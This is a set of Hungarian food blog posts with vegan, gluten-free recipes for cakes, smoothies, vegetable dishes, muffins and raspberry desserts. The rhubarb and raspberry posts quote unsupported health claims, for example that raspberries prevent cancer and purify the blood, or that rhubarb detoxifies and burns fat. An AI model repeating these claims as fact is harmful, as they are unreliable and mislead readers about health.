A kókusz jól harmonizál a friss, savanykás málnával, tulajdonképpen bármelyik kedvenc gyümölcsünkkel elkészíthetjük. Jól illenek a kókuszhoz az egzotikus és a bogyós gyümölcsök egyaránt.
Hozzávalók a piskóta alaphoz:
200 g rizsliszt
100 g gluténmentes lisztkeverék (Mantler terméket preferálom)
50 g kókuszreszelék
350-400 ml víz
150 g eritrit
1/2 citrom lereszelt héja
6-8 evőkanál folyékony (szobahőmérsékletű) kókuszolaj
1 tasak foszfátmentes sütőpor
Krém hozzávalói:
200 ml kókusztejszín
100 g eritrit
50 g kókuszreszelék
4-5 evőkanál kókuszreszelék
2-3 evőkanál bio margarin
1/2 kk bourbon vanília
Friss málna, tetszőleges mennyiség
A piskótához a száraz hozzávalókat összekeverjük, majd robotgép segítségével a vízzel, olajjal is alaposan összedolgozzuk. Egy kis kapcsos tortaformát (10-12 szeletes) kiolajozunk, kilisztezünk és beleöntjük a tésztát. Légkeveréses sütőben 200 fokon 10 percig, majd további 30 percig 180 C fokon sütjük. Szúrópróbát végzünk mielőtt kivesszük a sütőből.
A krémhez hidegen egy kézi habverő segítségével csomómentesen elkeverjük, majd állandó keverés mellett addig főzzük ameddig besűrűsödik, hozzáadjuk utólag a margarint, elkeverjük. Tortapántba visszahelyezzük a piskótát és ráöntjük a még meleg krémet. Hagyjuk hűlni minimum 2-3 óra hosszát, majd hűtőszekrényben teljesen kihűtjük, akkor fog igazán összeállni, amikor levehetjük a tortapántot. Friss málnával tálaljuk.
Hűsítő vegán őszibarack smoothie
2015. július 2. Zizi kalandjai
Itt a kánikula. Pont. Jöhet egy hűsítő reggeli vagy uzsonna? Mi reggelire ittuk ezt a hideg őszibarack smoothie-t, ami felébreszt kávé helyett (bár egy ilyen házilag készített mandulatejes cold brew kávét azért kipróbálnék). Eltelíteni nem fog, mert annyira sok minden nincsen benne, viszont hihetetlenül jól fog esni egy már amúgy is meleg reggelen.
Imádom az őszibarackot. Rájöttem, hogy ez a kedvenc gyümölcsöm. Gyerekkoromban vagy kertben vagy a mosogató fölé hajolva ettük az öcsémmel, mert csorgott kezünkön, lábunkon a leve… de így volt tökéletes a fogyasztása. Manapság szeletekre, kockákra vágva eszem, mert a fogszabályzóm miatt nehéz gyümölcsbe harapnom, még ha az nem is olyan kemény, mint egy alma. Az egyedüli bajom az őszibarackkal, hogy nem bírok belőle eleget enni! Mostanában ezt eszem/iszom reggelire, délután is uzsonnára, de szívesen tartanék egy teljes őszibarack napot is. Muszáj minél többet tolni belőle, mert aztán elmúlik a szezonja és egy évet kell várni újra rá. Nem igazság. Ádi is imádja, egyébként… ő “öcibaracknak” hívja.
A recept Amy Chaplin szakácskönyvéből van. Az eredeti recept szerint az elkészült smoothie-t ő még hűtőbe teszi minimum két órára (vagy egy éjszakára), hogy a chia magtól sűrűbbé (joghurt szerűvé) álljon össze. Biztosan nagyon finom úgy is, de mi nem vártunk két órát vele. A fűszerek (vanília és fahéj) intenzíven érződnek, de ettől lesz a turmix mennyei. A beletett extra szűz kókuszolaj íze is enyhén átjön (korábban nem éreztem, ha tettem smoothie-kba, lehet, hogy azért, mert azokban több alapanyag volt) és nagyon jót tesz neki (ha nincs otthon extra szűz kókuszolajotok, akkor ki is hagyhatjátok). A lényeg, hogy jó hideg legyen az őszibarack és a növényi tej is, hogy tényleg hűsítő legyen. A végén akár dobhatunk bele jégkockákat is, ha nagyon melegünk van!
Hűsítő vegán őszibarack smoothie
Hozzávalók 2 főre:
– 5 db közepes őszibarack, kimagozva és szeletekre vágva
– 1 és 1/2 bögre rizstej vagy mandulatej
– 2 evőkanál chia mag
– 1 evőkanál extra szűz kókuszolaj, olvasztva
– 2 kis csipet fahéj
– 1 vaníliarúd kikapart magjai
Tegyünk minden hozzávalót a turmixgépbe és pépesítsük simára néhány perc alatt. Ha túl sűrűnek találjuk, adjunk még hozzá egy kis rizstejet. Hűthetjük jégkockával.
Barack bomba…
Jénaiban sült cukkinis zöldborsó
Már mindkettő terem a kertekben, a cukkini is és a zöldborsó is. Egy könnyed nyárias ebédet lehet készíteni belőlük fokhagymás ízesítéssel. Jelen esetben tésztát főztem hozzá, de bármilyen gabonafélével (rizs, hajdina, quinoa, stb.) is nagyon finom és ízletes. Lehet, hogy a képen kicsit csúnyácska az étel, de annál finomabb! Eteti magát, csak bírjuk abbahagyni.
A recept:
Hozzávalók:
3-4 cukkini
30-40 dkg zöldborsó
kókusz zsír
só
1 nagyobb fej fokhagyma összes gerezdje
1/2 kg tészta (jelen esetben gluténmentes volt, de durum is jó)
víz
esetleg sörélesztő pehely
Elkészítés:
A cukkinit megmossuk és lereszeljük. Én uborkareszelőt használtam, de nagyobb lyukú sajt- vagy almareszelővel csíkokra is lehet. Kókusz zsírral kikenjük a jénait, beletesszük az enyhén megsózott cukkinit, majd a megmosott zöldborsót a tetejére. A zöldborsót meghintjük kevés sóval majd a megpucolt, apróra vágott fokhagymákat is hozzáadjuk.
Tűzálló edényben (pl. jénai tál) letakarva a sütőben úgy 20-25 perc alatt összeérleljük az ízeket, megpuhítjuk a cukkinit és a cukorborsót. Az utolsó kb. 5 percben levesszük a jénai tál tetejét, anélkül sütjük tovább a zöldségeket.
Míg a cukkini készül a sütőben, megfőzzük a tésztát sós vízben. Miután a tészta megfőtt és átszűrtük, hideg vízzel kicsit átöblítettük, kevés hidegen sajtolt olívaolajjal átkeverjük a tésztát. Tálaláskor a megpárolódott cukkinit egyszerűen csak a tésztára halmozzuk.
Tálaláskor tehetünk rá sörélesztő-pelyhet (ez esetben már nem gluténmentes). Olyan, mintha parmezánnal szórtuk volna meg, de ez a sajthoz képest gazdag B vitamin forrás.
Ropogós csoki
Folyamatosan kísérletezek, mi lenne a legjobb alternatíva a csokis müzliszeletek felváltására :) Örömmel tudatom, hogy megtaláltam az igazit ;) Természetesen a legegyszerűbb a legfinomabb! Hozzávalók: 1 nagy tábla étcsoki 1 tk nyers kakaóvaj 1 kk holland kakaópor (legalább 22%-os) 1 ek kókuszvirágcukor 1 nagy bögre natúr kukoricapehely A csokit és a kakaóvajat víz fölött felolvasztjuk, […]
Gyümölcsös-lekváros rakott rizs
2015. június 25. Éltető ételek
Igazán tápláló gyümölcsös rizst készítettem, mely vegán, gluténmentes, és bélrendszeri betegségben szenvedők is nyugodtan fogyaszthatják. Sőt, még édesítőt sem tettem bele. Hozzávalók: - 1 csésze barnarizs - 2 csésze növényi tej - 1 csésze víz - 1 marék mazsola - 1/2 kávéskanál vaníliapor - 1 kávéskanál fahéj - késhegynyi őrölt szegfűszeg - csipet só - 1 teáskanál kókuszolaj - 3 nagy édeskés alma tökgyalun lereszelve - 1 kis üveg házi, cukrozatlan szilvalekvár - 4-5 őszibarack - 1 marék dió Elkészítése: - A jól átmosott rizst pirítsuk meg a kókuszolajon. - Öntsük fel a tejjel és a vízzel, szórjuk bele a mazsolát és fűszerezzük. - Lefedve, lassú tűzön főzzük 1 óráig. Főzés közben NE kevergesd!Az almát mossuk meg, majd tökgyalun reszeljük le. Az őszibarackot hámozzuk meg, majd kockázzuk fel. - Keverjük a rizshez az almát és a barack felét. - Egy jénait zsírozzunk ki, és tegyük a gyümölcsös rizs 1/3-át bele.Erre jön a szilvalekvár fele, majd ismét a rizs és a szilvalekvár. A tetejére kerüljön a maradék rizs. Simítsuk le a tetejét és tegyük rá a megmaradt felkockázott barackot. - Szórjuk rá a durvára tört diót. - Előmelegített sütőben süssük úgy fél órát.Nagyon finom, zaftos. Ha édesebbre szeretnénk, akkor csorgassuk meg a tetejét juharsziruppal. Melegen és hidegen is nagyon finom. Este elkészíthetjük, reggel csak sütni kell.
Mini diós csigák
Brrr.... hideg napok idején melegítsük fel a lakást és a lelkünket néhány finom diós falattal. Ha nyáron hideg, esős idők vannak, inkább sütök pékárukat. Persze nem időfüggő, a legnagyobb melegben is lehet rá vállalkozni! :)
A recept:
Hozzávalók:
- fél csomag élesztő
- 2 dl növényi tej
- 10 dkg kókuszzsír + a tészta kenéséhez
- 15 dkg fehér liszt
- 15 dkg teljes kiőrlésű liszt
- 5 dkg őrölt zabpehely
- 2 ek nyírfacukor/nádcukor/kókuszvirágcukor, stb
- 2 ek kevés vízben áztatott őrölt lenmag (opcionális)
- csipetnyi só
- vanília
- dió
Elkészítés:
Egy tálba vagy a kenyérsütő üstjébe belemorzsoljuk az élesztőt, hozzáadunk 2 ek édesítőszert (nyírfacukrot használtam), majd felöntjük a kézmeleg növényi tejjel. Várunk 1-2 percet, majd a fenti sorrendben hozzáadjuk a többi hozzávalót. A dagasztás/kelesztés programon elindítjuk. Ennek híjával fakanállal vagy a kezünkkel úgy gyúrjuk össze a tésztát, addig dagasztjuk kezünkkel, míg a táltól az elválik és hólyagocskák jelennek meg a dagasztás során. Ha kézzel dolgoztunk, meleg helyen konyharuhával letakarva kelesztjük. A kenyérsütő a program szerint elvégzi ezt.
A kész tésztát lisztezett deszkán kinyújtjuk, megkenjük folyékony kókuszzsírral, alaposan beterítjük vaníliával és nyírfacukorral (vagy más fajta édesítő) összekevert darált dióval. Feltekerjük, majd szeleteket vágunk belőle, amiket sütőpapíros tepsire fektetünk. Közepes lángon megsütjük. A sütés utolsó 10 percében egy kis édes vaníliás növényi tejjel megkenhetjük a csigákat, de enélkül is nagyon finom.
Ha ilyen mini-csigákat szeretnénk, akkor vékonyra és kisebb szélességűre kell nyújtani a tésztát.
Spagetti tejszínes tökmártással
2015. június 22. Éltető ételek
Ma a piacon csodaszép, zsenge tököt árultak. Rögtön bevillant egy csodás tökmártás spagettivel, így ezt el is készítettem vacsorára.Gluténmentes és vegán, kell ennél több? Hozzávalók (2 adag): - 1 közepes méretű zsenge tök (nem kellett a magját sem kikaparni) - 1 nagyobb sárgarépa - 2 dl zabkrém (a DM-ben veszem, Oatly néven találod) - 1 közepes méretű vöröshagyma - 1 gerezd fokhagyma - 1 kávéskanál mustár - 1/2 citrom leve - 1/2 evőkanál kókuszolaj - só, bors, kapor - gluténmentes spagetti tészta Elkészítése: - A tököt és a sárgarépát meghámozom és legyalulom. - Egy serpenyőbe teszem a kókuszolajat, majd elkezdem benne pirítani a vékonyra szeletelt hagymát. Belereszelem a fokhagymát is. - Pár perc elteltével hozzáteszem a tököt. Együtt pirítom, sózom, borsozom. - Pici vizet öntök rá, majd a tejszínt is belezúdítom. - Kaporral ízesítem és a mustár is mehet hozzá. - Kb. 5 perc alatt készre főnek a zöldségek. Ekkor csavarok bele citromot, de közben kóstolgatom. - A kifőtt tésztával összekeverem.Jó étvágyat!
Vaníliakrémes zabpuding, illatos eperrel és málnával
2015. június 13. Éltető ételek
Kedden este ez volt a lányok vacsorája... nem panaszkodtak. Nagyon finom, krémes és gyümölcsös. Ugyanakkor laktató és nem utolsósorban egészséges is. Érdemes kicsit várni vele, hogy kihűljön, akár a hűtőbe is betehetjük. Hozzávalók (2 adag): - 1 csésze víz (2,5 dl) - 1/2 csésze zabpehely - 1 evőkanál mazsola - 2 evőkanál kókuszreszelék - 1/2 kávéskanál vaníliapor - csipet himalája só Öntet: - 1 dl kókuszkrém - 1/2 teáskanál vaníliapor - 10 szem áztatott és blansírozott mandula vagy kesudió - kevés tisztított víz - ízlés szerint méz vagy juharszirup - eper - málna - juharszirup - durvára tört, enyhén pirított dió - fahéj Elkészítése: - A vizet tegyük fel főni, adjunk hozzá minden összetevőt, és főzzük meg a kását jó sűrűre. - Készítsük el az öntetet. Ehhez egy jó turmixra van szükség. Addig turmixoljuk, amíg jó krémes nem lesz. - Ezt az öntetet öntsük a kására, és jól keverjük össze. - Egy tálka aljára tegyük a - málnát - pici juharszirupot - krémes zabkását - összevágott epret - pici juharszirupot - durvára tört diót - szórjuk meg fahéjjal.
Rebarbara-narancs lekváros diós muffin (gluténmentes, laktózmentes, tojásmentes, vegán)
Rebarbara... egy furcsa és a magyarok számára kissé idegen zöldség, melyből főleg édességek, sütemények, lekvárok készülnek. Az elmúlt pár hétben jó pár magyartól hallottam, hogy "de mi az a rebarba, hogy néz ki, és milyen íze van?". Bevallom őszintén 1 évvel ezelőttig én sem tudtam, annak ellenére, hogy nyugat-európában tele vannak a boltok polcai vele áprilistól-júliusig. Emlékszem, hogy fogalmam sem volt mire fogom felhasználni, de láttam, hogy mindenki beteszi a bevásárló kosarába, ismerős volt a neve, és még érdekesen is nézett ki, ezért hát úgy döntöttem, lesz, ami lesz, vegyük meg, és majd kitalálunk mellé valami receptet. ;-) Az első receptet az Interneten találtam. Még ismeretlen volt számomra ez a misztikus zöldség, ezért nem vagánykodtam, és egy az egyben lemásoltam, amit a neten találtam. Nem mondom, hogy rossz volt, mert elfogyott, de nem váltunk rebarbara kedvelőkké tőle. Az első találkozás nem volt maradandó élmény... Eljött az idei rebarbara szezon is, és újra megpróbálkoztam vele. Ezúttal már bátrabban mertem újítani, és a végeredmény valami fenomenálisan finom lett! :-) A narancsos rebarbara lekvár abbahagyha tatlanul finom, és a diós tészta tökéletesen kiegészíti a rebarbara fanyar mégis édes ízét. A kanál nyalogatás kihagyhatatlan része a sütemény készítésnek ebben az esetben. Avatatlan vendégeknek is megvolt az első nagy találkozás ezzel az ismeretlen zöldséggel, és ők is imádták ezt a süteményt! Szóval kedves Olvasóm, ha még nem kóstoltál rebarbarát, akkor ez egy tökéletes lehetőség rá, hogy megszeresd! :-) "A rebarbara rosttartalma különösen magas, különleges és finom összetevője lehet egy tavaszi méregtelenítő, béltisztítókúrának. A rebarbara levele mérgező, húsos, pirosas szára viszont finom, egészséges és diétás nassolnivaló lehet. Mivel 100 gramm rebarbara csak 16 kalóriát tartalmaz, bűntudat nélkül fogyaszthatod akár reggelire, akár uzsonnára. Ám jellegzetes, fanyar ízét ne cukorral próbáld meg tompítani, inkább egyél hozzá más gyümölcsöket, például banánt vagy epret. A rebarbara gazdag A-, B1-, B2- és C-vitaminban, így segít beindítani a zsírégetést, flavonoidjainak köszönhetően fokozza az anyagcserét, káliumtartalmának köszönhetően pedig kiváló vízhajtó is. A népi gyógyászat székletlazító, bélműködés-szabályzó tulajdonsága miatt is használja. A rebarbaráról fontos tudnod, hogy oxálsavat tartalmaz, ami rossz hatással lehet a szervezeted kalciumháztartására, ám ahhoz, hogy ez a negatív hatás érződjön, napi egy kilogramm rebarbarát is meg kellene enned." Forrás: Femina Bár a rebarbara alacsony kalória tartalmának, és vízhajtó hatásának köszönhetően diétás ételnek számít, ez a recept elég sok édesítőszert tartalmaz, így egyáltalán nem mondanám fogyókúrás süteménynek. Előnyére váljon azonban, hogy sem fehér lisztet, sem fehér cukrot, sem semmilyen nehezen emészthető hozzávalót nem tartalmaz. Sokkal könnyebben emészthető, mint egy hagyományos bolti sütemény, így várhatóan nem parkol sokáig a testünkben. Ez a diós muffin, narancsos rebarbarás lekvárral, egyszerűen és gyorsan elkészíthető, egészséges, glutén-, tojás- és laktózmentes édesség. Látványos és rendhagyó, így ételallergiás vendégeknek is bátran kínálható! ;-) (Kivéve a dió allergiásokat.) HOZZÁVALÓK: (12 db muffinhoz) - 100 g mandula liszt vagy darált mandula - 70 g rizsliszt - 100 g darált dió (ha előre beáztatjuk, könnyebben emészthető) - 60g édesítőszer (lehet Xilit, Eritrit, vagy barna nádcukor) - 2 dl növényi tej (mogyoró tej vagy mandula tej a legjobb) - 1 tk őrölt fahéj - 1/2 tk szódabikarbóna - 6 ek kókusz olaj - - 5 szál rebarbara (kb.350 g) - 40 g édesítőszer (lehet Xilit, Eritrit, vagy barna nádcukor) - 1 nagy érett narancs ELKÉSZÍTÉS: A muffin tészta száraz és folyékony hozzávalóit dolgozzuk külön-külön össze, majd keverjük egybe, és tegyük a választott sütő formánkba. Előmelegített sütőben, 190°C fokon 30 perc alatt elkészül az illatos tészta. A lekvárhoz a rebarbarákat megtisztítjuk a fás végektől, alaposan megmossuk, és éles késsel kb. 1 cm-es darabokra vágjuk. (A piros héj maradhat.) Egy lábasban (fedő nélkül), közepes lángon feltesszük főni a rebarbara darabokat, összekeverve a választott édesítőszerrel, és 1 nagy narancs frissen facsart levével. Addig főzzük kevergetés mellett, míg meg nem sűrűsödik a lekvár. Ha túl híg lett, tegyünk hozzá 1 ek útifűmaghéjat, vagy csöpögtessük le egy szűrőben. Kihűlés után kanalazzuk a diós tészták tetejére. Nagyon finom és nagggyon puha desszertet kapunk, még kihűlés után is! :-) Kínáld meg a vendégeidet is gyomor barát, tápláló, de mégis finom desszertekkel! ;-) Megjegyzés: A képeken is jól látható, hogy nem hagyományos muffin sütőt használtam. Nem kell megijedni, mert ilyen sütőforma nincs otthon neked, kedves Olvasó! A hagyományos muffinok tetejére is rá lehet a lekvárt kanalazni. Az ízén semmit nem változtat a forma, ahogyan elkészíted! :-)
Baszmati rizs zöldségekkel, korianderrel
2015. június 11. Élj harmóniában
Beérkezett a nagy nyári meleg, amikor általában nem is kívánjuk annyira a nehezebb ételeket. Mii nyáron nagyon gyakran eszünk zöldségeket baszmati rizzsel. Részben mert nagyon hamar készen van, nem kell hosszasan állni a konyhában és a melegben nem terheli túl az emésztőrendszert. A baszmati rizs, a rizsek közül a legkiválóbb és fantasztikus aromával rendelkezik. Ez egy egyszerű és gyorsan elkészíthető étel, nagyon ízletes és még gluténmentes is :) Számtalan módon tudod variálni, bármilyen zöldségből meg tudod csinálni. Hozzávalók 3 személyre: Rizshez - 1 csésze baszmati rizs - 1 kk. kurkuma - 3 ek. kókuszreszelék - 3 szem kardamom mag - 2,5 csésze forró víz - só Zöldséghez - 2 csésze brokkoli - 1 csésze zöldbab - 3 szál sárgarépa - 1 kis padlizsán - 0,5 kk.római kömény - 0,5 kk. édeskömény - 1 kisujjbegynyi gyömbér - 1 kk. őrölt koriander - friss koriander levél - 1 ek. ghí (vagy kókuszzsír vegán változatban) - só Először mosd meg jól a baszmati rizst, majd csöpögtesd le. A lecsöpögtetett rizst pár percig egy edényben pirítsd meg (nem kell alá zsiradék, de ha szeretnél rakhatsz). Majd a rizshez öntsd hozzá a 2,5 csésze forró vizet. Tedd bele a kurkumát, sót, kardamon magot és a kókuszreszeléket. Forrástól számított 15 percig fedő alatt takaréklángon főzd meg a rizst. Amíg a rizs fő készítsd elő a zöldségeket, mindent tisztíts meg és darabolj fel. Melegíts fel egy serpenyőt és tedd bele a ghít. Majd a ghíbe a római köményt, édesköményt, koriandert, gyömbért és pirítsd egy picit. Add hozzá a répát és egy pici vízzel öntsd fel - ne önts túl sokat, mert nem vízben főzünk, a cél csak az, hogy könnyen megpuhuljanak a zöldségek. Adagold hozzá a brokkolit, zöldbabot és a padlizsánt és szükség esetén itt is tehetsz hozzá még egy kis vizet. Ha elkészült sózd meg és keverd el a korianderleveleket a zöldségekkel. A zöldségeket és a rizst finoman vegyítsd el és már tálalhatod is, jól öntözd meg olívaolajjal:) Vegyszermentes (bio) alapanyagokat használj:)
Epres szelet
Beindult az eper szezon ;) Imádom!!!!! <3 Hozzávalók az alaphoz: 1 csésze áztatott dió 1 csésze áztatott szotyi 1/2 csésze zabpehely 1 ek kókuszolaj 1 leheletnyi tiszta só 1 késhegynyi vanília 1 ek méz 6 szem aszalt füge 1/2 dl forrásvíz a középső réteghez: 2 csésze friss eper 2 ek méz 2 ek útifű maghéj […]
Tejszínes karfiolragu kölessel és grillezett zöldségekkel
Nagyon szeretem a zöldséges ragukat, bármikor meg tudnám enni. Ez most ebédre készült, de vacsorára sem nehéz eledel. Hozzávalók (2 főre) - 1 kis fej karfiol - 2 sárgarépa - 1 újhagyma - 2-3 gerezd fokhagyma - 2 dl zabtejszín - 1 kávéskanál kurkuma - himalája só - kis marék petrezselyemzöld - bors, chili - 1 evőkanál kókuszolaj Köret: - 1 bögre köles - 1 gerezd fokhagyma - kókuszolaj - zöldségek grillezve (padlizsán, kápia paprika, cukkini) - pác: vöröshagyma, fokhagyma, só, bors, pirospaprika, olívaolaj Elkészítése: - A karfiolt szedjük rózsáira, a sárgarépát pedig vágjuk nagyobb darabokra. - A kókuszolajon dinszteljük meg a karikára vágott újhagymát és reszeljük bele a fokhagymát is. - Dobjuk rá a karfiolt és a sárgarépát, és pirítsuk együtt úgy 5 percig. - Öntsünk rá annyi vizet, hogy éppen ellepje. Fűszerezzük. - Kb. 10 perc elég, hogy puha legyen a zöldség, de még picit roppanós. - Tegyük hozzá a zabtejszínt és az apróra vágott petrezselymet, majd rottyantsuk össze. - A körethez a kölest jó alaposan mossuk át, majd tegyük egy száraz serpenyőbe. Folyamatos keverés mellett addig pirítsuk, amíg szépen különválnak a szemek egymástól. - Reszeljük bele a fokhagymát is. Ekkor már adhatunk hozzá 1 evőkanál kókuszolajat. - Pici pirítás után öntsük fel 2x mennyiségű vízzel. Sózzuk. Miután felfőtt, 10 perc alatt elkészül. - A grillezett zöldségeket daraboljuk fel, majd reszeljük bele a hagymákat és fűszerezzük. Locsoljuk meg olajjal, és hagyjuk állni úgy fél órát. - Tegyük egy zsírpapírral kibélelt tepsibe, majd előmelegített sütőben, grill fokozaton úgy 10 perc alatt készítsük el. (220 fok, grill, légkeverés). Figyeljünk rá, hogy meg ne égjen. - A kölesre tegyük a karfiolos ragut, majd erre a grillezett zöldséget.
Egyszerű és tápanyagban gazdag MÁLNÁS APRÓSÁGOK, 3+1 hozzávalóból (mindenmentes, vegán, nyers)
természetes és egészséges málna lekvár Ebben a bejegyzésben nem találtok különleges recepteket, életmódváltó gondolatokat, hasznos konyhai tippeket. Ebben a bejegyzésben 4 egyszerű ötletet találtok, melyek segítségével változatosabban élvezhetjük a friss és vitamindús málna természetes ízét, illatát és az egészségre gyakorolt jótékony hatását. Egy reggeli málnás gyümölcs turmix, egy cukor- és tartósítószermentes málna lekvár, egy könnyű és nyers málnás desszert, és a forró nyári napokra, egy egyszerű málna jégkrém nem csak gyerekeknek. Mindez 3+1 alap hozzávalóból! Látványos, egyszerű, természetes, egészséges és élő receptek mindenkinek, aki szereti a málnát! :-) Nemcsak, hogy glutén-, laktóz-, cukor-, tojás-, élesztő- stb. mindenmentesek a receptek, de a nagyon finom málna gyümölcs, a természetes tápanyagtartalmát is megőrzi ezekben az ételekben, így segítve téged, hogy a tested minél több tápanyaghoz jusson, miközben az élvezeti érték is megmarad. És hogy miért jó málnát fogyasztani? természetes és egészséges málna lekvár (cukormentes, tartósítószer mentes, nyers, vegán) "A málna, sok piros gyümölcshöz hasonlóan rengeteg C-vitamint és antioxidánst tartalmaz, így erősíti az immunrendszert és megelőzi a rákos megbetegedéseket. Kitűnő vértisztító, vérszegénység ellen is hatásos és csillapítja a lázat. A-vitamin tartalma révén segít a látásjavításban. Különböző vérzések csillapítására is alkalmazható. Ezeken kívül jelentős mennyiségű B1, -és B2-vitamint is tartalmaz. Rendkívül gazdag színanyagokban, flavonoidokban, gyümölcssavakban, cserzőanyagokban és növényi rostokban. Pektin is található benne, ez az anyag emésztésjavító hatásáról ismert. Az ásványi anyagok közül a kálcium-,kálium-, megnézium- és vastartalma kiemelkedő, mennyiségét tekintve pedig a szervezet napi szükségletének 10 %-át fedezi. Jól teszed, ha frissen és nyersen fogyasztod, ugyanis így érvényesül leginkább a benne lévő vitaminok jótékony hatása. Kevesen tudják, hogy másnaposság ellen és antibiotikum kúra után is jó szolgálatot tesz, mert segít helyreállítani a megterhelt emésztőrendszert és a károsodott bélflórát. Sőt, még szépülhetünk is vele! Ez a szépségvitaminként emlegetett magas biotintartalmának köszönhető, amely szépíti a bőrt, csillogóvá és dússá teszi a hajat. Antocianintartalma révén mérsékli a magas vérnyomást. Emellett szabályozza a vércukorszintet, enyhíti a menstruációs görcsöket." Forrás: Bien.hu Akkor nézzük, hogyan is készíthethetünk energiadús, A-, C-, B- vitaminban és ásványi anyagokban gazdag friss reggeli turmixot málnából? friss és energiadús málnás gyümölcs turmix reggelire Málnás gyümölcsturmix HOZZÁVALÓK: (2 főre) - 2 db érett banán - 100 g friss málna - 4 dl rizstej vagy kókusztej ELKÉSZÍTÉS: A megmosott málna szemeket, az érett banánnal, és a választott növényi tejjel tegyük a turmix gépbe és kb.1 perc alatt készítsük el az ízletes és tápláló reggeli italunkat. friss és energiadús málnás gyümölcsturmix reggelireEgészségetekre! ;-) Málnás gyümölcsturmix + agar-agar Ha szeretnénk ezt a szuper piros gyümölcsöt, puding vagy lekvár formájában hozzáadni a reggeliző pelyhünkhöz, a gluténmentes palacsintánkhoz, vagy a vendégváró desszertünkhöz, nincs egyéb teendőnk, mint az előző turmix italhoz keverjünk agar-agar-t, természetes kocsonyásító anyagként (zselatin helyett). Ebben az esetben inkább pudingnak hívnám a krémes, könnyed málnás végeredményt. Ha kicseréljük az alap málnás turmixban a növényi tejet, vízzel, és úgy készítjük el a turmixot, majd teszünk hozzá agar-agar-t, akkor pedig málna lekvárt kapunk. Mindkettő nagyon finom. ;-) természetes és egészséges málna lekvár (cukormentes, tartósítószer mentes, nyers, vegán) "A zselatin nem más, mint tiszta, színtelen, szagtalan enyv, amit tisztított csontokból és borhulladékokból állítanak elő. Az agar-agar viszont a trópusi és szubtrópusi tengerpartok közelében élő moszatfélék szárított kivonata, amit elsősorban vörösmoszatokból nyernek." Az algát a napon megszárítják, extrahálják, majd mechanikai úton préselik, és finom porrá őrlik. A kíméletes eljárás során az algában lévő ásványi anyagok, zsírsavak és jód megmarad. (Bővebben a kocsonyásító anyagokról itt olvashatsz: Rosta Erzsébet) Az agar agar felhasználásáról pontos információt a csomagolásáról kaphatsz. Attól függően, hogy agar agar porod vagy pelyhed van, más és más arányokat kell használni. Nekem pelyhem volt, amiből 1,5 evőkanállal 1 dl vízben oldottam fel. Belekevertem a forró vízben feloldott, de még híg agar-agar-t a málna turmixba, összekevertem az egészet, és betettem a hűtőbe. Fél óra múlva már fogyasztható is, a cukor- és tartósítószer mentes, természetes alapanyagokból készült málna lekvár / puding, telis tele értékes tápanyagokkal. természetes és egészséges málna lekvár (cukormentes, tartósítószer mentes, nyers, vegán) Táplálkozz, ne csak étkezz! :-) Málnás gyümölcsturmix + kókusz zsír Készítsük el a már jól ismert málnás turmixunkat a 3 hozzávalóból, de ezúttal csak 2 dl növényi tejet tegyünk bele, majd keverjünk hozzá 2 ek kókusz olajat. Töltsük meg a szilikonos muffin formáinkat, tegyük be őket hűtőbe egy éjszakára. Másnap, fogyasztás előtt könnyedén fordítsuk ki a málnás desszertünket a szilikon formákból a desszertes tányérra, és fogyasszuk őket jóízűen pl.: apróra tört kesu dióval. egészséges málnás desszert (cukormentes, gluténmentes, laktózmentes, nyers, vegán ) Málnás gyümölcsturmix + fagyasztó Töltsük az elkészített málnás gyümölcs turmixunkat szilikonos kreatív jégkocka tartóba, tegyük be egy éjszakára a fagyasztóba, és másnap már élvezhetjük is a jéghideg málnás édességünket. egészséges málna jégkrém (cukormentes, laktózmentes, gluténmentes, vegán) Látjátok milyen egyszerűen készíthetünk tápanyagban gazdag, energiadús, és finom édességeket, reggeliket természetes hozzávalókból? Nem kell ehhez konyhai jártasság, vagy biológiai és kémiai ismeretek, elég ha egy kicsit elrugaszkodunk a már ismert és bevált módszerektől, ételektől... Engedjük szabadjára a fantáziánkat, és kotyvasszunk a természetből! ;-) Megjegyzés1: "Az agaragar tengeri vörösmoszatokból nyert poliszacharid-keverék. Az agaragar egy sárgásfehér, félig áttetsző zselés anyag. Élelmiszerekben sűrítőanyagként, zselésítő anyagként, stabilizálószerként alkalmazzák E406 néven. Előfordulhat ételzselékben, lekvárokban, aszpikban, cukrászipari termékekben. 80% rosttartalommal rendelkezik, így táplálékkiegészítőként emésztési rendellenességek ellen is alkalmazzák. Emésztést követően vizet szív magába, ettől nő a telítettség érzése." Forrás: Wikipedia Megjegyzés2: A bejegyzésben szereplő lekvár nem alkalmas hosszú távú felhasználásra, mivel sem cukrot, sem tartósítószert nem tartalmaz. 1-2 napon belül fogyasztandó!
Csokis-kókuszos fagyi házilag
Oh my God! Az amerikaiak kedvenc szava járása... hát, amikor megkóstoltam az összeturmixolt fagyit, én is ezt mondtam. Sőt, amikor a fagyasztás során óránként átkevertem, mindig meg "kellett" kóstolni, és ekkor is csak ennyit tudtam mondani: Ez valami isteni. Krémes és kókuszos és csokis. A legjobb az, hogy nincs benne sem cukor, se egyéb nem oda való... és mégis finom lett!!! Mivel gyorsan kellett a gyerekeknek fagyi, így az alapanyagokat a DM-ben vettem meg. Az árakat elnézve, nem lett sokkal olcsóbb (kb. 130 Ft/gombóc) mint a cukrászdai, na de annál finomabb és egészségesebb. Hozzávalók (10 gombóc) - 20 dkg cukrozatlan datolya - 2,5 dl kókusztej - 2,5 dl kókuszkrém - 1 kávéskanál vaníliapor - 1 evőkanál cukrozatlan kakaópor Elkészítése: - A datolyát vágjuk fel kis darabokra, és áztassuk be a kókusztejbe. Legjobb, ha 1 éjszakát tud állni, de mivel én most elég puha datolyát vettem, így elég volt 3 óra puhulás. Mivel már a lakásban meleg van, így tegyük be a hűtőbe, hogy nehogy erjedés legyen belőle. - Amennyiben jól megpuhult a datolya, mindent tegyünk a turmixba, és dolgozzuk össze jó krémesre. - Tegyük egy edénybe, és mehet is a fagyasztóba. Én óránként habverővel átkevertem, kb. 5 óra elteltével volt olyan állaga, mintha fagyizóban vettem volna.
Sárgaborsólisztes "tócsni"
2015. május 27. Mindennapi ételeink
